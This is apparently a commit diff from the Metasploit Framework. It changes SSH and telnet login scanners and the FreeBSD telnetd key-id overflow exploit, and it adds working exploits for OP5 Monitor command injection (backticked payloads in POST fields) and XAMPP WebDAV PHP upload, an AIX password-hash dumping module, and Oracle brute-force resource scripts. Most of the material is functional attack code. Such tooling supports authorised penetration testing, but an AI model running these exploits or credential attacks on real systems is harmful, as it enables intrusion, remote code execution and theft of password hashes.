key_info = "- #{$3.strip}"
|
||||
end
|
||||
|
||||
|
||||
accepted = []
|
||||
opt_hash = {
|
||||
:auth_methods => ['publickey'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:key_data => key_data,
|
||||
:disable_agent => true,
|
||||
:record_auth_info => true,
|
||||
:skip_private_keys => true,
|
||||
:accepted_key_callback => Proc.new {|key| accepted << key }
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
||||
|
||||
if datastore['SSH_BYPASS']
|
||||
data = nil
|
||||
|
||||
print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
|
||||
|
||||
begin
|
||||
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
|
||||
end
|
||||
|
||||
::Timeout.timeout(1) { ssh_socket.close } rescue nil
|
||||
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return :connection_error
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
return :connection_disconnect
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
rescue Net::SSH::Exception => e
|
||||
return [:fail,nil] # For whatever reason.
|
||||
end
|
||||
|
||||
if accepted.length == 0
|
||||
if @key_files
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
||||
else
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
|
||||
end
|
||||
end
|
||||
|
||||
accepted.each do |key|
|
||||
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
||||
do_report(ip, rport, user, key, key_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def do_report(ip, port, user, key, key_data)
|
||||
return unless framework.db.active
|
||||
store_keyfile_b64_loot(ip,user,key[:fingerprint])
|
||||
cred_hash = {
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:pass => @keyfile_path,
|
||||
:source_type => "user_supplied",
|
||||
:type => 'ssh_pubkey',
|
||||
:proof => "KEY=#{key[:fingerprint]}",
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
}
|
||||
this_cred = report_auth_info(cred_hash)
|
||||
end
|
||||
|
||||
# Checks if any existing privkeys matches the named key's
|
||||
# key id. If so, assign that other key's cred.id to this
|
||||
# one's proof section, and vice-versa.
|
||||
def cross_check_privkeys(key_id)
|
||||
return unless framework.db.active
|
||||
other_cred = nil
|
||||
framework.db.creds.each do |cred|
|
||||
next unless cred.ptype == "ssh_key"
|
||||
next unless cred.proof =~ /#{key_id}/
|
||||
other_cred = cred
|
||||
break
|
||||
end
|
||||
return other_cred
|
||||
end
|
||||
|
||||
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||
# good, then store it as loot for this user@host, unless we
|
||||
# already have it in loot.
|
||||
def store_keyfile_b64_loot(ip,user,key_id)
|
||||
return unless db
|
||||
return if @keyfile_path
|
||||
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
|
||||
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
|
||||
keyfile = keyfile.strip + "\n"
|
||||
ktype_match = keyfile.match(/ssh-(rsa|dss)/)
|
||||
return unless ktype_match
|
||||
ktype = ktype_match[1].downcase
|
||||
ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
|
||||
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
|
||||
# Assignment and comparison here, watch out!
|
||||
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
|
||||
if loot.info.include? key_id
|
||||
@keyfile_path = loot.path
|
||||
end
|
||||
end
|
||||
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Since SSH collects keys and tries them all on one authentication session, it doesn't
|
||||
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
|
||||
# and try all available keys for all users.
|
||||
each_user_pass do |user,pass|
|
||||
ret, proof = do_login(ip, rport, user)
|
||||
case ret
|
||||
when :connection_error
|
||||
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
|
||||
:abort
|
||||
when :connection_disconnect
|
||||
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
|
||||
:abort
|
||||
when :fail
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
|
||||
when :missing_keyfile
|
||||
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
|
||||
when :no_valid_keys
|
||||
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -63,11 +63,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def do_login(ip,user,pass,port)
|
||||
opt_hash = {
|
||||
:auth_methods => ['password','keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:password => pass
|
||||
:auth_methods => ['password','keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:disable_agent => true,
|
||||
:password => pass
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:msfmodule => self,
|
||||
:port => port,
|
||||
:key_data => key_data,
|
||||
:disable_agent => true,
|
||||
:record_auth_info => true
|
||||
}
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
@ -247,8 +248,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def do_report(ip,user,port,proof)
|
||||
return unless framework.db.active
|
||||
store_keyfile_b64_loot(ip,user,self.good_key)
|
||||
report_auth_info(
|
||||
cred_hash = {
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'ssh',
|
||||
|
@ -257,7 +259,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:type => "ssh_key",
|
||||
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
|
||||
:active => true
|
||||
)
|
||||
}
|
||||
this_cred = report_auth_info(cred_hash)
|
||||
end
|
||||
|
||||
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||
|
|
|
@ -66,7 +66,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
each_user_pass do |user, pass|
|
||||
Timeout.timeout(overall_timeout) do
|
||||
try_user_pass(user, pass)
|
||||
res = try_user_pass(user, pass)
|
||||
start_telnet_session(rhost,rport,user,pass) if res == :next_user
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
|
||||
|
@ -112,11 +113,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
report_telnet(user,pass,@trace)
|
||||
else
|
||||
if login_succeeded?
|
||||
start_telnet_session(rhost,rport,user,pass)
|
||||
return :next_user
|
||||
end
|
||||
return :next_user
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -237,6 +234,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def start_telnet_session(host, port, user, pass)
|
||||
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core'
|
|||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Exploit::BruteTargets
|
||||
|
||||
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Automatic', { } ],
|
||||
[ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
|
||||
[ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
|
||||
[ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
|
||||
|
@ -63,10 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit_target(t)
|
||||
|
||||
|
||||
connect
|
||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||
print_status(banner_sanitized) if datastore['VERBOSE']
|
||||
vprint_status(banner_sanitized)
|
||||
|
||||
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
|
||||
enc_keyid = "\xff\xfa\x26\x07"
|
||||
|
@ -74,18 +74,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Telnet protocol requires 0xff to be escaped with another
|
||||
penc = payload.encoded.gsub("\xff", "\xff\xff")
|
||||
|
||||
|
||||
key_id = Rex::Text.rand_text_alphanumeric(400)
|
||||
key_id[ 0, 2] = "\xeb\x76"
|
||||
key_id[ 0, 2] = "\xeb\x76"
|
||||
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
|
||||
key_id[76, 4] = [ t['Ret'] ].pack("V")
|
||||
|
||||
key_id[76, 4] = [ t['Ret'] ].pack("V")
|
||||
|
||||
# Some of these bytes can get mangled, jump over them
|
||||
key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)
|
||||
|
||||
|
||||
# Bounce to the real payload (avoid corruption)
|
||||
key_id[120, 2] = "\xeb\x46"
|
||||
|
||||
|
||||
# The actual payload
|
||||
key_id[192, penc.length] = penc
|
||||
|
||||
|
@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Initiate encryption
|
||||
sock.put(enc_init)
|
||||
|
||||
|
||||
# Wait for a successful response
|
||||
loop do
|
||||
data = sock.get_once(-1, 5) rescue nil
|
||||
|
@ -106,8 +106,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# The first request smashes the pointer
|
||||
print_status("Sending first payload")
|
||||
sock.put(sploit)
|
||||
|
||||
sock.put(sploit)
|
||||
|
||||
# Make sure the server replied to the first request
|
||||
data = sock.get_once(-1, 5)
|
||||
unless data
|
||||
|
@ -117,13 +117,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Some delay between each request seems necessary in some cases
|
||||
::IO.select(nil, nil, nil, 0.5)
|
||||
|
||||
|
||||
# The second request results in the pointer being called
|
||||
print_status("Sending second payload...")
|
||||
sock.put(sploit)
|
||||
|
||||
|
||||
handler
|
||||
|
||||
|
||||
::IO.select(nil, nil, nil, 0.5)
|
||||
disconnect
|
||||
end
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OP5 license.php Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary root command execution vulnerability in the
|
||||
OP5 Monitor license.php. Ekelöw has confirmed that OP5 Monitor versions 5.3.5,
|
||||
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
|
||||
},
|
||||
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-0261'],
|
||||
['OSVDB', '78064'],
|
||||
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
|
||||
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
|
||||
['URL', 'http://secunia.com/advisories/47417/'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'BadChars' => '`\\|',
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl ruby',
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Jan 05 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
|
||||
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||
|
||||
# Try running/timing 'ping localhost' to determine is system is vulnerable
|
||||
start = Time.now
|
||||
|
||||
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'proto' => 'HTTPS',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'close',
|
||||
}
|
||||
}, 25)
|
||||
elapsed = Time.now - start
|
||||
if elapsed >= 5
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||
|
||||
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'proto' => 'HTTPS',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'close',
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if(not res)
|
||||
if session_created?
|
||||
print_status("Session created, enjoy!")
|
||||
else
|
||||
print_error("No response from the server")
|
||||
end
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OP5 welcome Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary root command execution vulnerability in
|
||||
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
|
||||
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
|
||||
},
|
||||
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-0262'],
|
||||
['OSVDB', '78065'],
|
||||
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
|
||||
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
|
||||
['URL', 'http://secunia.com/advisories/47417/'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'BadChars' => '`\\|',
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl ruby',
|
||||
}
|
||||
},
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Jan 05 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
|
||||
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||
|
||||
# Try running/timing 'ping localhost' to determine is system is vulnerable
|
||||
start = Time.now
|
||||
|
||||
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'proto' => 'HTTPS',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'close',
|
||||
}
|
||||
}, 25)
|
||||
elapsed = Time.now - start
|
||||
if elapsed >= 5
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||
|
||||
data = 'do=do=Login&password=`' + payload.encoded + '`';
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'proto' => 'HTTPS',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'close',
|
||||
}
|
||||
}, 10)
|
||||
|
||||
if(not res)
|
||||
if session_created?
|
||||
print_status("Session created, enjoy!")
|
||||
else
|
||||
print_error("No response from the server")
|
||||
end
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'XAMPP WebDAV PHP Upload',
|
||||
'Description' => %q{
|
||||
This module exploits weak WebDAV passwords on XAMPP servers.
|
||||
It uses supplied credentials to upload a PHP payload and
|
||||
execute it.
|
||||
},
|
||||
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
|
||||
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
uri = build_path
|
||||
print_status "Uploading Payload to #{uri}"
|
||||
res,c = send_digest_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => payload.raw,
|
||||
'DigestAuthUser' => datastore['RUSER'],
|
||||
'DigestAuthPassword' => datastore['RPASS']
|
||||
}, 25)
|
||||
unless (res.code == 201)
|
||||
print_error "Failed to upload file!"
|
||||
return
|
||||
end
|
||||
print_status "Attempting to execute Payload"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
}, 20)
|
||||
end
|
||||
|
||||
|
||||
|
||||
def build_path
|
||||
if datastore['PATH'][0,1] == '/'
|
||||
uri_path = datastore['PATH'].dup
|
||||
else
|
||||
uri_path = '/' + datastore['PATH'].dup
|
||||
end
|
||||
uri_path << '/' unless uri_path.ends_with?('/')
|
||||
if datastore['FILENAME']
|
||||
uri_path << datastore['FILENAME']
|
||||
uri_path << '.php' unless uri_path.ends_with?('.php')
|
||||
else
|
||||
uri_path << Rex::Text.rand_text_alphanumeric(7)
|
||||
uri_path << '.php'
|
||||
end
|
||||
return uri_path
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '77387'],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
|
||||
# The following clearifies why two people are credited for the discovery
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'AIX Gather Dump Password Hashes',
|
||||
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'aix' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if is_root?
|
||||
passwd_file = read_file("/etc/security/passwd")
|
||||
jtr = parse_aix_passwd(passwd_file)
|
||||
store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File")
|
||||
else
|
||||
print_error("You must run this module as root!")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def parse_aix_passwd(aix_file)
|
||||
jtr_file = ""
|
||||
tmp = ""
|
||||
aix_file.each_line do |line|
|
||||
username = line.match(/(\w+:)/)
|
||||
if username
|
||||
tmp = username[0]
|
||||
end
|
||||
hash = line.match(/password = (\w+)/)
|
||||
if hash
|
||||
tmp << hash[1]
|
||||
jtr_file << "#{tmp}\n"
|
||||
end
|
||||
end
|
||||
return jtr_file
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
# oracle_login.rc
|
||||
# Author: nebulus
|
||||
|
||||
<ruby>
|
||||
|
||||
hosts = {}
|
||||
host_id_to_ip = {}
|
||||
|
||||
# map hosts ip to host_id
|
||||
|
||||
begin
|
||||
framework.db.hosts.each do |host|
|
||||
# don't really like having to do that but only way I could tie them together as notes were missing ip
|
||||
host_id_to_ip[host.id] = host.address
|
||||
end
|
||||
rescue ActiveRecord::ConnectionNotEstablished
|
||||
puts "DB not connected..."
|
||||
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||
# self.run_single('db_connect <creds>')
|
||||
# puts "trying again..."
|
||||
# retry
|
||||
|
||||
end
|
||||
|
||||
begin
|
||||
framework.db.notes.each do |note|
|
||||
if ( note.ntype == 'oracle_sid' )
|
||||
data = note.data
|
||||
if(data =~ /PORT=(\d+), SID=(\S*)$/)
|
||||
ip = host_id_to_ip[note.host_id]
|
||||
port = "#{$1}"
|
||||
sid = "#{$2}"
|
||||
if(sid != '')
|
||||
hosts["#{ip}"] = {'RPORT' => port, 'SID' => sid}
|
||||
end
|
||||
else
|
||||
puts "Bad regexp (#{note.inspect})"
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ActiveRecord::ConnectionNotEstablished
|
||||
puts "DB not connected..."
|
||||
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||
# self.run_single('db_connect <creds>')
|
||||
# puts "trying again..."
|
||||
# retry
|
||||
end
|
||||
|
||||
self.run_single("use auxiliary/admin/oracle/oracle_login")
|
||||
|
||||
hosts.each do |rhost|
|
||||
begin
|
||||
self.run_single("set RHOST #{rhost[0]}")
|
||||
self.run_single("set RPORT #{rhost[1]['RPORT']}")
|
||||
self.run_single("set SID #{rhost[1]['SID']}")
|
||||
self.run_single('exploit')
|
||||
puts "DB not connected..."
|
||||
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||
# self.run_single('db_connect <creds>')
|
||||
# puts "trying again..."
|
||||
# retry
|
||||
end
|
||||
|
||||
end
|
||||
</ruby>
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# oracle_sids.rc
|
||||
# Author: nebulus
|
||||
|
||||
<ruby>
|
||||
|
||||
hosts = []
|
||||
|
||||
begin
|
||||
framework.db.services.each do |service|
|
||||
if ( (service.port == 1521 or service.port == 1522 or service.port == 1526) and (service.name =~ /oracle/i) and service.state == 'open')
|
||||
hosts << {'ip' => service.host.address, 'port' => service.port}
|
||||
end
|
||||
end
|
||||
rescue ActiveRecord::ConnectionNotEstablished
|
||||
puts "DB not connected..."
|
||||
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
|
||||
# self.run_single('db_connect <creds>')
|
||||
# puts "trying again..."
|
||||
# retry
|
||||
end
|
||||
|
||||
|
||||
self.run_single("use auxiliary/admin/oracle/sid_brute")
|
||||
|
||||
hosts.each do |rhost|
|
||||
|
||||
self.run_single("set RHOST #{rhost['ip']}")
|
||||
self.run_single("set RPORT #{rhost['port']}")
|
||||
self.run_single('set ConnectTimeout 5')
|
||||
self.run_single('run')
|
||||
sleep 1
|
||||
end
|
||||
</ruby>
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# oracle_tns.rc
|
||||
# Author: nebulus
|
||||
|
||||
<ruby>
|
||||
|
||||
hosts = [
|
||||
'10.1.1.0/24',
|
||||
'10.1.2.1',
|
||||
'192.168.0.0/16'
|
||||
]
|
||||
|
||||
ports = ['1521', '1522', '1526']
|
||||
|
||||
self.run_single("use auxiliary/scanner/oracle/tnslsnr_version")
|
||||
|
||||
hosts.each do |net|
|
||||
ports.each do |port|
|
||||
self.run_single("set RHOSTS #{net}")
|
||||
self.run_single("set THREADS 128")
|
||||
self.run_single("set RPORT #{port}")
|
||||
self.run_single('set ConnectTimeout 5')
|
||||
self.run_single('set VERBOSE false')
|
||||
self.run_single('run')
|
||||
sleep 1
|
||||
end
|
||||
end
|
||||
</ruby>
|
||||
|
|
@ -1,3 +1,6 @@
|
|||
# run_all_post.rc
|
||||
# Author: mubix
|
||||
|
||||
# This is a sample resource script demonstrating a technique of running
|
||||
# a single post module against several active sessions at once. The post
|
||||
# module should be the currently active module, with sessions from other
|
||||
|
|
Loading…
Reference in New Issue